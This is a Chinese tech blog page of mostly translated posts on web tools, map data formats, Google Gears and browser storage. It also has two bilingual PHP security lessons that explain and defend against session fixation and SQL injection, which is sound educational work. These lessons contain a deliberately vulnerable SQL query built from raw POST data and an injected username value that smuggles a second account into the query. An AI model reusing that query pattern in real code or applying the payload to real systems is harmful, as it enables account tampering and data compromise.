nullTao | 净空无道 | Blog - TranslatioN

Read It Later 集成到 Google Reader

nulltao@gmail.com (Wei Geng) — Wed, 05 Nov 2008 17:06:37 +0800

洒家阅读新闻用的两个最重要的工具：Read It Later 和 Google Reader 终于能够直接集成了。实在是美哉。

Read It Later，一个流行的 Firefox 插件，最近发布了升级版本，该版本给 Google Reader 增加了一些新功能。这个新扩展同时兼容 Firefox 和 IE，这个新扩展让你能够在阅读你所订阅的 RSS 种子的时候勾选出需要稍后再做详细阅读的新闻，以此来加快你的浏览速度。你还能够使用任何浏览器访问到这些你想稍后阅读的这些新闻，不管是在家里的 Firefox，在单位的 IE，甚至你的 iPhone 手机都可以。

这个升级版的 Read It Later 扩展给你的 Google Reader 的种子列表增加了一个 Greasemonkey-esque 功能，就是在每个新闻条目的旁边，星标的右边增加一个对勾符号。在你浏览你的订阅的时候，你勾选上的帖子会自动增加到你的阅读列表中——你可以随时在 readitlaterlist.com 网站上访问到你保存的阅读列表。通过内置的离线浏览功能，你还能在准备要离开网络的时候，下载一系列文章供你以后阅读——比如说当你乘飞机旅行的时候。

如果你使用书签插件来管理你的阅读列表，那么现在你有更多的选项供你定制。你可以使用“普通”模式或者“紧凑”模式查看阅读列表、选择每页显示的条目数、是否在侧边栏打开阅读列表、以及是否启用上下文关联菜单和附加的工具栏按钮。

不过，新加的功能中最棒的就是可以按照 PostRank 对阅读列表进行排序。我们在读写网好几次都非常关注这个曾经名为 AideRSS 的功能。在启用 PostRank 后，你的阅读列表会智能的按照流行度进行过滤。有几种方式给一个帖子打分，包括该帖子收到的评论数、在美味书签上被标记的次数，被 digg 的次数，以及被引用的连接数。你现在可以按照帖子的重要程度来浏览你的阅读列表，这对那些被过量的信息所困扰的人特别有用。

该插件还有一些其他的改进，例如升级了的隐私控制、现有功能的更强大技巧等，这些改进让 Read It Later 逐渐成你的浏览器中一个重要的插件，不管你用的是 Fireofox 还是 IE。现在，我们就只需要的就是能够在 iPhone 上使用的书签插件，那就就齐活了。

Popout

真实世界让你很沮丧吗？IBM 邀请你到超越时空的紫禁城一游。

nulltao@gmail.com (Wei Geng) — Mon, 13 Oct 2008 11:21:39 +0800

原文：Real World Got You Down? IBM Invites You To A Virtual Forbidden City.。

想去中国游览紫禁城又买不起机票？现在，你只要有台计算机就行了。IBM——虚拟世界最忠实的信徒——和中国故宫博物院共同把这个占地 178 英亩的紫禁城在虚拟世界里重现。在三年时间里，他们非常细致的重建了所有的建筑物和数以千计的重要文物，现在，“超越时空的紫禁城”已经可供下载(有 Windows、Mac 和 Linux 版)。这个软件可以免费下载，不过先提醒你，Mac 版的可是一个实实在在的 275M 的安装包。

当你进去后，你能够选择你的形象、穿上清朝的服装、进行虚拟的浏览、和计算机控制的角色玩耍、查找地图、浏览建筑物和里面的文物，你还可以点击这些建筑物或者文物以得到进一步信息。这个虚拟世界构建在名为 Torque 的游戏平台，这个游戏平台来自 Garage Games。（我估计是因为 OpenSim 不够好，因为没有评论说虚拟时空紫禁城时候会和第二人生进行互动）

如果你想找个地方躲避现在金融风暴，但是有没钱真的出去旅游的话，那么你可以来 IBM 的超越时空紫禁城里闲逛上几个钟头。

地图聚合的数据格式前三名：KML、GeoRSS 和 GeoJSON

nulltao@gmail.com (Wei Geng) — Thu, 28 Aug 2008 18:34:37 +0800

原文地址：3 Top Data Formats for Map Mashups: KML, GeoRSS and GeoJSON。

随着地图聚合给最终用户提供的一系列更广泛的工具和应用程序，它在完善程度和功能性两方面逐渐走向成熟。因此，我们需要一些预定义好的方法在传统的地理空间数据和新一代的地图聚合之间交换、发布这些地理空间数据，并且使用一种对 web 友好的方式使用这些数据。

为了满足这种需求，出现了一些新的地理空间数据格式，这能够让更大范围的用户和开发者来聚合地理相关的信息。下面是当前可供从事地理信息聚合的开发者使用的三种主要数据格式的一个概括：

KML

你知道 Google 地球的前身，那个流行的名为 Keyhole 的三维地球浏览器吗？如果你知道，那么这个基于 XML 的，Google 地球自己的文件格式被叫做 KML，意为 Keyhole 标记语言，就不值得惊讶了。在地理空间相关的网站上，KML 无处不在，KML 支持从类似 Google 地图、微软的虚拟地球这样商业化的地图 API 和 OpenLayers 这样开源的地图 API 中导入、导出数据。今年早些时候，Google 把 KML 作为一种开放标准发布，并且被开放地理空间联盟 (OGC) 采用。你可以研读最新的 KML 规范 (当前是 2.2 版) 或者学习如何让 KML 与 Google 地图 API、虚拟地球或者 OpenLayers 集成。

GeoRSS

GeoRSS 提供了一种在 RSS (或者 Atom) 种子里通过特定的编码来包含地理参考信息的方法。GeoRSS 站点上说：

RSS 和 Atom 作为一种发布、共享信息的方法，正在逐渐流行起来，因此，使用互操作的方式描述位置信息，来让程序能够请求、聚合、共享、地图化地理标记过的种子变得益发重要。

嵌入 GeoRSS 非常简单，仅仅在每个条目中增加一个类似 <georss:point>45.256 -71.92</georss:point> 这样的元素就行了，这里使用的是简易GeoRSS 格式，如果要需要复杂完整的编码格式，可以选择支持更多的特性的 GeoRSS-GML 格式。这两种 GeoRSS 格式都支持基本的地理特征 (点、线、边框和多边形)。和 KML 一样，商业化的地图 API 和开源地图 API 都支持 GeoRSS，并且主要作为导入数据的格式使用。 GeoRSS 许诺对整合内容的会有更好的支持。

GeoJSON

GeoJSON 是基于 JavaScript 对象表示法 (JSON)的一种新的数据格式，用来对大量的地理特征进行编码，支持的地理特征有点、线、多边形、多多边形和地理信息集合。

{ "type": "Point", "coordinates": [43.542, -118.454] }

GeoJSON 可以被 JavaScript 简单、快速的解析，而且 GeoJSON 还提供了一个可以很容易的进行交换的轻量级数据格式。自从 GeoJSON 正式发表 1.0 版后，GeoJSON 的魅力逐渐增加，得到了包括 FireEagle 和 OpenLayers 在内的一些流行的 API 的支持 (但是不确定将来是否能够得到类似 Google 地图或者虚拟地球这样的商业 API 的支持)。

注意 GeoRSS 和 GeoJSON 都采用创作共用授权协议授权。

我们饶有兴趣的看着这些格式如何发展，而且很想知道类似 GeoRSS 和 GeoJSON 这样的格式能否得到地图 API 和地图聚合开发者的采用。

做好准备迎接新的平台大战。Google Gears 直指微软领地

nulltao@gmail.com (Wei Geng) — Mon, 16 Jun 2008 11:06:36 +0800

原文：Get Ready For A New Platform War. Google Gears Drives Straight At Microsoft’s Profits.。

Google 在去年五月发布了 Gears，之后的一年里 Gears 被认为是一个小众产品，只会有很少开发者和用户用它来开发能够离线访问的 web 程序。兴许你还能回想起当年的争论：在到处都有网络连接的情况下，究竟谁需要离线访问功能，而且还没有足够的程序支持，等等。不到一年的时间，就在几周前，Google 亮出了他的王牌：Gears 助力 MySpace 加速邮件系统。其实 Google 早就加入了这场提供新 web API 的比赛，但是居然一年了都没有人注意到。

将来的浏览器很可能会变成运行所有程序的虚拟机。在这种情况下，操作系统会变的透明，就像 Adobe 所作的，它的 Flash 技术是现在使用的最普遍、最统一的 web 虚拟机，而微软则要自保（它的利润的来源）了。Google 不隐瞒他们想瞄准并且攻击微软的野心，他们知道，要做到这点的最好方法就是上移一层把操作系统架空，让浏览器成为标准且强劲的应用程序虚拟机。

很难在一片评论里表达清楚 Gears 如何改变并且增加 web 程序的功能。以前使用基于浏览器的 Javascript 脚本，MySpace 中的一些类似邮件列表和排序、根据好友列表过滤这样的功能会让人感觉很慢，而当浏览器向服务器发送多个请求时，进度条还可能会定住，沙漏图标在不停的旋转。而现在，安装 Gears 只要在确认框点击一下并且等待几秒钟，安装之后，以前让用户抓狂的那些功能现在感觉起来就好象是浏览器自带功能一样。Google 给我们秀了一把 Gears 与 MySpace 集成后的能力，这唤醒了大部分人关注他真正的意图：不再仅是离线浏览，而是直接针对 Adobe 和微软所采取的行动。

截至目前为止，Google 拥有一系列共计 28 个基于 web 的程序, 这些程序在全世界有数百万的用户。Google 开发 web 程序的技术都是基于标准的 HTML、CSS 和 Javascript。选择 Ajax 仅仅是因为这是最好的解决方案，但是 Google 还要做更多以面对现实，那就是每个类似的 web 开发技术体系都是被一个直接的竞争者所开发、控制。Google 对开源浏览器 Firefox 的开发给予了强大的支持，并且支持开放 web 标准作为他们的技术体系之选。Google 这么做是因为他们的 web 程序都依赖于开放标准，Firefox 的失败会导致 Internet Explorer 复生并且把 web 的控制权拱手让给微软。

以前，只用基于浏览器的 Javascript 来支持 web 程序对 Google 来说不是个问题。直到竞争者领先一步发布了他们自己的第二代 web 平台，分别是 Flex/AIR 和 Silverlight，情况才发生了变化。基于 web 的程序在有了类桌面的界面和功能后能够做什么，从这一方面开说，微软和 Adobe 已经超前了一大步。用不了多久，大大小小的竞争者就会使用竞争性技术平台创建竞争性程序，那会使 Google 的产品看起来像是还停留在上个世纪九十年代的样子。

留给 Google 的选择现在很明了了：要么放弃使用基于浏览器的 Javascript 和开放标准进行开发，转而接受新技术中的一种，要么继续坚持使用核心 web 技术并且发展这些技术直到成为可行的替代技术。Google 的问题是，新标准和预期的浏览器功能很快就会带来富 web 技术，但是开发那些标准的进度却如此缓慢，以至于很可能需要几年时间才能看到那些标准被广泛的应用。新的 HTML 标准，HTML5，特别关注扩展本地浏览器对 web 程序的支持能力，在不用附加私有运行时的情况下。Google web API 的基础就是这些同样的功能以及其他的附加功能。

由于标准开发的极其缓慢，导致通向更快更好，而且仍旧免费开放的 web 程序之路被堵死了，所以 Google 决定通过 Gears 自己进入这个市场。想法其实很简单：把明天的 web 技术带到今天的浏览器里。这些特定的功能大部分都来自新的 HTML5 规范，但是标准制定小组已经在上面花费了好几年。不想再等这个小组完成规范，Google 自己通过件对浏览器进行扩展，实现了这些功能并且达到了那个小组能达到的最高水平。他们宁愿在短期内抛弃标准（原话是“以后再考虑实现”）也要把他们的 web 程序带到能够对抗 Flash 和 Silverlight 的下一代标准。

Gears 有一个 30 人左右的小组开发，这个小组是 Google 内部开源小组的一部分。这个小组由 Vic Gundotra 带领，再一次讽刺的转变过程中，他由微软的传教士成为 Google 的高级开发者。这个一小组开发者着手进行开发，并且保持 Google 对 Javascript 和开放浏览器虚拟机的兴趣。理论上，他们看起来很可能被大组织或者微软和 Adobe 正在投入各自平台的预算所超过。为了改变这个状况，他们把 Gears 从 Google 中分离出来（字面上也是——现在这个项目名称就只是“Gears”）并且在开源协议下发布源代码。

第一个发行版将只关注于 HTML5 里面提议的新功能中他们认为最重要的功能：基于客户端的结构化数据和对象存储。由于选择了首先实现客户端存储，所以下一年里 Gears 会被构架成一个离线应用程序解决方案，由于其他的竞争者好像都没有注意到这个这么巨大目标，所以如果他们不是有意而为之，那么肯定会发展的很好。Google 本来有可能开发他们自己的浏览器，某些博客里的推测和谣言也都指出了这一点，但是浏览器市场竞争激烈，却平淡乏味，而且通常会失败。另外，即使他们开发了自己的新浏览器，他们还要驱使用户接受这个新浏览器，在决定性的市场聚集起来之前只能等待，就是这样，市场上还会有 70% 或者 80% 甚至 90% 的人不使用 Google 的浏览器，却想使用 Google 的程序。

这种情况下，可选的捷径就是跳过浏览器直接在上面增加一层——Google 自己的 web 层。所有常用浏览器都提供了让开发者扩展功能的机制，这样一来，Google 要做的就是对每个浏览器开发对应的插件。这能让新的 web API 能够适应所有的桌面而不需要用户去适应，最重要的，这比起进入浏览器市场来说见效快而且痛苦少。现在可以让浏览器来做所有无聊的事情：渲染 HTML、显示界面、用户选项等等，与此同时 Google 却在改变现状，埋头向前冲。

现在 Gears 支持大量完整的新功能，有一些新功能是和微软、Adobe 他们的下一代 web API 相同的，而其他的则是 Google 自己创造出来的。现在函数调用已经对开发者开放了，包括后台处理（不会再有沙漏出现）、客户端图像处理、位置感知、更好的文件上传功能，还有浏览器内本地数据库。

要让新 API 和开发平台的应用被采用需要两方面的支持，一方面是用户的支持，因为这需要用户安装新的插件；另一方面是开发者的支持，使用 Gears 不会让开发变得更容易，这是因为这和开发其他的使用基于浏览器的 Javascript 的程序没有区别，Gears 只是给开发者提供了一系列更多的可以在浏览器内实现的功能而已。Javascript 和 web 开发者不需要学习任何新知识，用户也要做的也只是安装一个插件（与浏览器绑定的交易肯定会发生，所以这一步都可以忽略了）。Flash 花了 5 到 6 年才足够普及，能够让开发者有信心专注于使用 Flash 开发，不过有了 Google 的支持，Gears 可能只需要用一半甚至更小的时间就能做到。

在这场竞赛中，Google 没有任何损失反而赢得盆满钵丰，Google 一下子就启动了这个新 web API 的基于标准且开源的替代方案。与其他的竞争对手不一样，Google 没有兴趣控制这个平台或者直接用来盈利。相反他们却在试图维持现状：大部分程序使用浏览器里的 Javascript 开发，如果有更多需求那就使用 Flash 或者类似的技术。

上一次平台大战结束了很久了，但是每次你都能看到类似的技术经验：大公司失败，小公司成功。给这个平衡增加点开源的砝码，结果还是没有一个单独的公司能够占优势。有这么多大公司的加入，而且如此的利益攸关，我们肯定要亲眼见证一场漫长的持久战。只有时间能够告诉我们 Google 的做法能不能带领 web 向前发展。

本文是 Nik Cubrilovic 写的下一代 web 系列中的一篇，在这阅读其他同系列文章。

下一代 web：浏览器存储支持

nulltao@gmail.com (Wei Geng) — Sat, 07 Jun 2008 02:40:17 +0800

原文：The Next-Gen Web: Browser Storage Support。

下一代的 web 已经开始上路了，就在这个星期，MySpace 集成了 Google Gears，雅虎发布了新的 BrowserPlus，Google 的浏览器版三维地球也上线了。类似 AIR、Silverlight、JavaFX、Gears、XUL、Web Applications 1.0 (DOM5, HTML5 等) 这样的技术和格式让开发者能够超过 AJAX 加速冲向下一代的，有着更好的性能、更多的功能，而且和桌面集成的更加紧密的 web 程序。

现在，因为各个公司都急于展示他们自己的下一代 web 的样子，导致开发者和用户都被前所未有的超多 web 技术所压迫；“DLL 地狱”也被“插件地域”所取代。但是在 web 上，这样过多的选择会导致用户和开发者的成本增加。第一次 web 格式大战已经过去十多年了，那个时候微软、网景、苹果、美国在线还有其他公司都在浏览器标准、脚本语言、web 服务等方面成立了不同的基金会。这次大战的影响一直持续到现在，例如 Javascript 来发展需要依赖整套的代码库来开发跨浏览器代码，CSS 开发者需要一系列 hack 才能让他们的站点能够在不同的浏览器中看起来都一样。

现在新一代的富 web 程序技术还都在开发阶段，所以还有机会采用基于标准的态度，来避免重蹈覆辙。幸亏有了过去十多年的教训，现在连微软这样的公司都在以更加开放的姿态来接纳开放标准、数据迁移还有跨平台支持。不管是用户还是开发者，对开放标准的广泛支持都能简化他们用到的技术，但是明显的，并不是所有当前发布的新技术都能支持开放标准。

在 Techcrunch 这一系列帖子里，我们来看看这些组成新一代 web 的各种元素，并且评估可用的选项，当前支持的标准以及对标准的采用情况。由于 MySpace 刚刚宣布他们在程序里面使用了 Google Gears，那么我们的第一篇就来评估基于浏览器的本地缓存。

基于浏览器的本地存储

随着基于 web 的应用程序逐渐流行，就有了希望能够离线运行这些程序的需求。第一个不需要任何插件或者独立程序的解决方案是那些靠缓存 HTTP 头信息来在浏览器缓存里存储信息的方法。类似 Dojo 对离线 web 应用的支持这样的 Javascript 库使用的就是这样的原理，但是这样的程序应用范围非常狭窄，因为没有一个好的办法在浏览器里存储结构化的数据。（Dojo 现在引用了很多包括 Gears 在内的其他的存储引擎——提示：Dylan）

在 2007 年 5 月，Google 发布了Google Gears，一个浏览器插件，它允许 web 程序把数据同步到本地存储器，然后可以离线使用这些 web 程序。在 Gears 发布会上，Google Reader 被重写以支持 Gears，Gears 的突出的重点是离线访问应用程序。但是不被所知的是，Gears 不仅仅能够用来离线访问，它还提供这三大功能：

缓存资源（HTML 页面、图片等）
在数据库中存储结构化数据
异步后台工作线程

在这部分我们关注的是本地对象和结构化数据存储。Gears 通过 Javascript API 来提供相应的功能，这些 API 可以被任何 web 程序访问到。Sqlite，一个轻量级 RDBMS，提供了结构化存储的支持。由于使用了本地数据库，开发者不仅可以执行查询、插入新纪录这样的操作，还能执行更复杂的 SQL 操作，例如连接多表查询等。尽管你可以有多个使用 Gears 的程序，但是每个程序都要运行在一个基于域名的安全模型的沙盒环境里（类似 cookie 和 AJAX 请求）。虽然 Sqlite 已经嵌入 Firefox 2.0 以后的版本，但是它的 API 只能够被 Firefox 核心组件或者附加模块访问到。Gears 插件弥补了这个缺陷，让客户端脚本环境也能够访问到这些 API。

在 Gears 发布前，万维网超文本应用程序技术工作组 (WHATWG) 已经着手制定 Web 程序规范 1.0 草案，这个草案把结构化数据存储包括到了 HTML5 里。该草案当前版本包含了对访问数据库对象和查询本地数据存储的定义。实现的细节虽然交给了各个公司去完成，不过规范里面已经详细说明了 API 的细节。Firefox 将会在 3.0 版里实现一部分和 WHATW 规范一样的存储 API，不过这个版本现在只有预览版可用。WHATWG 规范里的关键部分有：

程序缓存 ——在本地浏览器缓存里存储对象（包含校验）。
navigator.onLine——测试浏览器是否在线（使用缓存，如果需要则加上本地数据存储）。
存储界面和事件——用来通过 sessionStorage DOM 属性存储“名称／值”对。
数据库界面——用来连接本地数据库。支持 SQL语法（或者其子集，取决于使用的服务器）、版本控制和错误回调事件。
线程和回调——这样多个请求就能够异步发送给本地数据存储。

调用本地存储、缓存和离线访问相对来说很简单。程序首先检查是否支持相应的函数，然后通过在后台同步用户数据进程来设置本地缓存。当一个线程在运行的时候，不管是上传还是下载，你可以查询进程状态并且给用户一个反馈（例如一个进度条）。一旦数据本地化，由于是在本地机器上运行数据库，开发者就能大幅度的提高查询性能。当下很多 web 程序仅仅把浏览器用作展示层，例如，电子表格软件就是做 =1+1 这样简单的计算也要进行一次到服务器再返回的请求。通过使用本地数据存储和客户端代码，开发者可以减少到处理和存储到客户端的负荷，同时还能提供给用户更加平滑、类似桌面程序的体验。

当前和将来的支持情况

现在的问题是大部分 WHATW 规范都是在 Gears 发布后才写的，导致 Gears 使用的数据库和本地服务器对象和 WHATW 规范不兼容——至少当下是这样的。好消息是 Google 已经发现了这个问题，完全支持 WHATWG HTML5 规范中的存储部分，因此，对于那些运行在安装了 Gears 的 Firefox 3 中的程序的开发者来说，他们可以选择使用 Firefox 原生的还是 Google 实现的存储。Google 还说他们很可能会提供额外的功能，以激励开发者关注那些 Gears 超越 HTML5 的实现（例如桌面快捷方式等）。

其他的本地数据存储可选方案，例如 Flash 本地存储，和 WHATW 规范完全不兼容。WebKit 的开发人员很快声明他们也开始实现 HTML5 规范中的存储部分。而且在每晚构建的代码里已经可用了，因此很快我们就能看到 Konquror 和 Safari 对本地存储的支持。Opera 也声明了类似的计划，而且当然他实现了 HTML5 和 web 表单后他们会领先于所有人。雅虎 BrowserPlus 昨天才发布，所以现在还不明确他们他们的本地存储支持和工作组发布的规范是否兼容。

本地存储是新一代的 web API 中重要的新功能，开发者不仅有跨浏览器的一致支持，还可以选择使用 Google Gears（已经可用）还是 Yahoo! BrowserPlus（取决于它如果工作）。还有一个浏览器厂商我们到现在一直没有谈到，那就是微软。微软发布了 IE8 的一个早期预览版，而且预告了大量的新特性，其中很多都是基于开放标准的，例如更好的 CSS 和 Javascript 支持（内涵一个更加标准化的对象模型）。最大问题是，IE8 在本地存储方面会不会遵循和其他浏览器厂商一致规范。IE 开发小组声称 IE8 将会支持 DOM 存储，但是这只是全部本次存储规范的一部分（即前面提到的 Storage 对象）。

当前和将来的支持情况

	Gears	BrowserPlus	Firefox	IE8	Webkit
程序缓存	很快
侦测在线与否
本地服务器
存储
数据库
线程
SQL

注：一旦得知 BrowserPlus 的细节，我们就会完成这个表格。Google 保证 Gears 能够适应标准。IE8 宣称不完全的支持。WebKit 的每晚构建里面大部分功能都可用了。Flash 和 Silverlight 支持某种形式的本次存储但是不是 HTML5 标准 API。

一个类似本地浏览器存储这样的新技术被如此广泛的提倡和支持，而且大部分都是基于一个规范，实在是一件罕见的事情。虽然微软还没有宣称完全支持，但是毫无疑问的，他们会朝向正确的方向。Google Gears 和 Firefox 3 的实现都遵循着 HTML5 的工作组规范也是很鼓舞人心的。虽然短时间内这些新版本的浏览器不可能被广泛的使用，但是 Google Gears 已经可用了，而且，因为所有的厂商都瞄准了同样的 API，开发者现在就可以安心的锁定 Gears 存储 API 然后开工——者在不久以前还是不可能的事情。

有了本地浏览器存储和缓存，开放标准到现在为止都是赢家。而其他的替代解决方案很可能会半途而废，或者改变以实现同样的 API。

PHP 基准测试

nulltao@gmail.com (Wei Geng) — Thu, 05 Jun 2008 23:52:03 +0800

原文：The PHP Benchmark | Web Resources | WebAppers。

创建 PHPBench 的目的是让你看到每一个 PHP 代码段的运行速度不都是一样的。看到 PHPBench 生成的结果，你很可能会大吃一惊。这个网站还有一个目的就是让你自己去发现一些规律，然后在你自己的服务器环境里，使用示例代码重新运行这些测试来验证你的发现。而且你还可以看到一些 PHPBench 测到的有趣的结论：

很奇怪的结果表明，如果你执行sizeof()，那么是否预先计算循环的次数基本上没有什么区别。
事实上，each 和 print 执行的功能完全一样，因此都适用于同样的代码段。有一小点需要注意的就是，当你使用逗号分隔输出列表并且使用 echo 输出，则会运行的稍微快一丁点。
while 循环在 90% 的情况下确实能够快一点点。

需求: -
演示: http://www.phpbench.com/
协议: 自由协议

胡言乱语之男人女人

nulltao@gmail.com (Wei Geng) — Wed, 27 Feb 2008 16:20:15 +0800

这年头，男人除了生孩子什么都得学会，女人还天天腻腻歪歪的不想生孩子——最近几对同学结婚有感。

--------------------结婚多可怕的分割线--------------------

去年过年时，一异性死党跟偶讨教感情问题，偶立下三个关于她有了男友之后的预言（注：其实该女当时已经有了男友，就是不说），年中时电话偶，第一个预言已经实现了。

该预言是：他二位定会在一个美好的下午，在温馨的小家里，沐浴着首都的夕阳，然后用各种高级的厨具，搭配着精致的调料，一起做出一桌幸福的晚餐——然后全都到掉，出门下馆子去。

PHP Security / Sessions / Session Fixation

nulltao@gmail.com (Wei Geng) — Sun, 01 Jul 2007 22:44:27 +0800

Session Fixation

会话固定攻击

Session security is a sophisticated topic, and it's no surprise that sessions are a frequent target of attack. Most session attacks involve impersonation, where the attacker attempts to gain access to another user's session.

会话安全是一个老生常谈的话题了，会话作为一个常见的攻击目标一点也不稀奇。绝大多数的会话攻击都用的是会话伪装，攻击者要试图用这种方法访问另外一个用户的会话。

The most crucial piece of information for an attacker is the session identifier, because this is required for any impersonation attack. There are three common methods used to obtain a valid session identifier:

对于攻击者来说，最重要的信息就是会话 ID，因为这对任何伪装攻击都是非常重要的。要想得到一个合法的会话 ID，有三种常见的办法：

Prediction
Capture
Fixation

预测
捕获
固定

Prediction refers to guessing a valid session identifier. With PHP's native session mechanism, the session identifier is extremely random, and this is unlikely to be the weakest point in your implementation.

预测就是猜想一个合法会话 ID。根据 PHP 原生的会话机制，会话 ID 非常的随机，所以不太可能是你程序的最薄弱的环节。

Capturing a valid session identifier is the most common type of session attack, and there are numerous approaches. Because session identifiers are typically propagated in cookies or as GET variables, the different approaches focus on attacking these methods of transfer. While there have been a few browser vulnerabilities regarding cookies, these have mostly been Internet Explorer, and cookies are slightly less exposed than GET variables. Thus, for those users who enable cookies, you can provide them with a more secure mechanism.

捕获一个合法的会话 ID 是会话攻击中最常用的方法，而且有很多不同的方式。因为会话 ID 通常都是通过 cookie 或者 GET 变量传递，所以各种攻击方法的区别之处就在于攻击哪种传输 ID 的方法。虽然有几个关于处理 cookie 的浏览器漏洞，IE 的漏洞最多，而且比起 GET 变量来，cookie 不太可能被暴露。所以，对于那些启用了 cookie 的用户，你可以给他们提供更安全的会话机制。

Fixation is the simplest method of obtaining a valid session identifier. While it's not very difficult to defend against, if your session mechanism consists of nothing more than session_start(), you are vulnerable.

会话固定是得到一个合法的会话 ID 的最简单的方法。虽然防御这种攻击不是很难，但是如果你的会话机制只使用了 session_start() 的话，你的系统非常容易受到攻击。

In order to demonstrate session fixation, I will use the following script, session.php:

我用下面这个 session.php 脚本来示范一下会话固定：

<?php
session_start();
if (!isset($_SESSION['visits']))
{
$_SESSION['visits'] = 1;
}
else
{
$_SESSION['visits']++;
}
echo $_SESSION['visits'];
?>

Upon first visiting the page, you should see 1 output to the screen. On each subsequent visit, this should increment to reflect how many times you have visited the page.

在你第一次访问这个页面的时候，你应该能够看到屏幕上输出的 1。接下来的每一次访问，这个输出结果应该每次加一，以反映你访问了这个页面多少次。

To demonstrate session fixation, first make sure that you do not have an existing session identifier (perhaps delete your cookies), then visit this page with ?PHPSESSID=1234 appended to the URL. Next, with a completely different browser (or even a completely different computer), visit the same URL again with ?PHPSESSID=1234 appended. You will notice that you do not see 1 output on your first visit, but rather it continues the session you previously initiated.

为了演示会话固定攻击，首先要确保你现在没有任何已存在的会话 ID（可以试着删除 cookie），然后访问这个页面，访问的时候在 URL 后面附加上 ?PHPSESSID=1234。然后，用一个完全不同的浏览器（最好换一台计算机），同样在 URL 后面附加上 ?PHPSESSID=1234 再次访问这个页面。你会发现你在首次访问的时候看见的输出不是 1，而是继续刚才初始化的那个会话。

Why can this be problematic? Most session fixation attacks simply use a link or a protocol-level redirect to send a user to a remote site with a session identifier appended to the URL. The user likely won't notice, since the site will behave exactly the same. Because the attacker chose the session identifier, it is already known, and this can be used to launch impersonation attacks such as session hijacking.

为什么会话固定会成问题？大多数会话固定攻击者都是简单的使用一个链接，或者一个协议层的重定向来给远程站点发送用户信息，也是通过在 URL 后面附加会话 ID 的方法。因为这个站点的行为完全的一样，所以用户不太可能注意到。又因为会话 ID 是攻击者选定的，这是已知的，所以这可以用来发动更加类似会话劫持这样的攻击。

A simplistic attack such as this is quite easy to prevent. If there isn't an active session associated with a session identifier that the user is presenting, then regenerate it just to be sure:

我们可以很容易的防范这种非常简单的攻击。如果用户提供了一个会话 ID，但是没有任何活动的会话与之相关联，那么就重新声称一个 ID 以确保保险。

<?php
session_start();
if (!isset($_SESSION['initiated']))
{
session_regenerate_id();
$_SESSION['initiated'] = true;
}
?>

The problem with such a simplistic defense is that an attacker can simply initialize a session for a particular session identifier, and then use that identifier to launch the attack.

这种简单的防御有一个问题，就是攻击者很容易就能初始化一个有着特定 ID 的会话，然后用这个 ID 来发动攻击。

To protect against this type of attack, first consider that session hijacking is only really useful after the user has logged in or otherwise obtained a heightened level of privilege. So, if we modify the approach to regenerate the session identifier whenever there is any change in privilege level (for example, after verifying a username and password), we will have practically eliminated the risk of a successful session fixation attack.

要防御这种类型的攻击首先要考虑的是会话劫持只有在用户登录了，或者得到了更高权限后才能发挥作用。所以，如果我们在权限状态发生任何变化（例如，确认和用户名和密码）后都重新生成会话 ID，这样就能够消除因为成功的会话固定攻击所带来的风险。

PHP Security / Databases and SQL / SQL Injection

nulltao@gmail.com (Wei Geng) — Tue, 19 Jun 2007 01:25:38 +0800

SQL Injection

SQL 注入

SQL injection attacks are extremely simple to defend against, but many applications are still vulnerable. Consider the following SQL statement:

SQL 注入攻击很容易就能防范，但是很多程序在这方面还是很脆弱的。看下面的 SQL 语句：

<?php
$sql = "INSERT
INTO users (reg_username,
reg_password,
reg_email)
VALUES ('{$_POST['reg_username']}',
'$reg_password',
'{$_POST['reg_email']}')";
?>

This query is constructed with $_POST, which should immediately look suspicious.

这个查询使用 $_POST 进行构造，这样一眼就能够看出问题。

Assume that this query is creating a new account. The user provides a desired username and an email address. The registration application generates a temporary password and emails it to the user to verify the email address. Imagine that the user enters the following as a username:

假设这个查询时用来创建新帐号用的。用户指定他们想要用户名和 email 地址。然后注册程序生成一个临时密码并且发送给用户以验证 email 地址。假设用户输入了一个这样的用户名；

bad_guy', 'mypass', ''), ('good_guy

This certainly doesn't look like a valid username, but with no data filtering in place, the application can't tell. If a valid email address is given (shiflett@php.net, for example), and 1234 is what the application generates for the password, the SQL statement becomes the following:

这个用户名看起来肯定不是一个合法的用户名，但是如果没有适当的数据过滤，程序是区分不出来的。如果给定了一个合法的 email 地址（例如 shiflett@php.net），程序生成的密码是 1234，那么这个 SQL 语句就变成下面这个样子：

<?php
$sql = "INSERT
INTO users (reg_username,
reg_password,
reg_email)
VALUES (' bad_guy', 'mypass', ''),
('good_guy',
'1234',
'shiflett@php.net')";
?>

Rather than the intended action of creating a single account (good_guy) with a valid email address, the application has been tricked into creating two accounts, and the user supplied every detail of the bad_guy account.

本来预期的动作是创建一个有合法 email 地址的单一帐号（good_guy），但是程序实际上被欺骗而创建了两个帐号，而且用户还指定了 bad_guy 帐号的所有信息。

While this particular example might not seem so harmful, it should be clear that worse things could happen once an attacker can make modifications to your SQL statements.

虽然这个特定的例子看起来没有那么大的危害，但是这说明了一旦攻击者能够修改你的 SQL 语句，不定发生什么糟糕的事情呢。

For example, on the database you are using, it might be possible to send multiple queries to the database server in a single call. Thus, a user can potentially terminate the existing query with a semicolon and follow this with a query of the user's choosing.

例如，根据你用的数据库，很可能允许在一次调用中发送多个查询请求。这样，用户就可能能够用一个分号终止当前的查询，然后紧跟着加入用户所选择的查询。

MySQL, until recently, does not allow multiple queries, so this particular risk is mitigated. Newer versions of MySQL allow multiple queries, but the corresponding PHP extension (ext/mysqli) requires that you use a separate function if you want to send multiple queries (mysqli_multi_query() instead of mysqli_query()). Only allowing a single query is safer, because it limits what an attacker can potentially do.

到目前为止，MySQL 还不允许多重查询，所以这个特定的风险倒是不大。 MySQL 的新版支持多重查询，不过对应的 PHP 扩展（ext/mysqli）要求你在希望进行多重查询的时候使用单独的函数（用 mysqli_multi_query() 替代 mysqli_query()）。因为单一查询能够限制攻击者可能做的事情，所以使用单一查询更加安全。

Protecting against SQL injection is easy:

防范 SQL 注入还是很简单的：

Filter your data.

This cannot be overstressed. With good data filtering in place, most security concerns are mitigated, and some are practically eliminated.
过滤数据。

这是绝对不能被越过的。如果在适当的地方有很好的数据过滤，大多数安全隐患都能够减轻，甚至差不多都能够消除。
Quote your data.

If your database allows it (MySQL does), put single quotes around all values in your SQL statements, regardless of the data type.
给数据加引号。

如果你的数据库支持，在 SQL 语句里给所有的值都加上单引号，不管是什么类型的数据。
Escape your data.

Sometimes valid data can unintentionally interfere with the format of the SQL statement itself. Use mysql_escape_string() or an escaping function native to your particular database. If there isn't a specific one, addslashes() is a good last resort.
数据转义。

